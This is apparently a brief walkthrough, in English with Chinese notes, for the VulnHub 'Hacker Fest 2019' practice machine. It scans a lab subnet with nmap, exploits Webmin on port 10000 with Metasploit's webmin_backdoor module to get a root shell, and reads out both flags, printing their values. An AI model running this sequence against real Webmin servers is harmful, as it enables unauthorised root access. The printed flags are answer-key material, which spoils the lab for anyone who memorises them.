https://www.vulnhub.com/entry/hacker-fest-2019,378/

check ip and nmap

ip -br a
nmap -A -sV 192.168.61.0/24

the target is 192.168.61.144
ports: 21, 22, 80, 10000

10000 是 Webmin，我們打她

metaspolit

sudo msfconsole

找工具

search webmin

用這個，webmin_backdoor

use exploit/linux/http/webmin_backdoor
show options
set LHOST 192.168.61.140
set RHOST 192.168.61.144
set SSL true

run

發現這個 shell 已經是 root 了
webmaster 估計是 superuser

id
cat /root/flag.txt
ls /home
ls /home/webmaster
cat /home/webmaster/flag.txt

root flag: 3dcdf93d2976321d7a8c47a6bb2d48837d330624
user flag: 83cad236438ff0c0dbce55d7f0034aee18f5c39e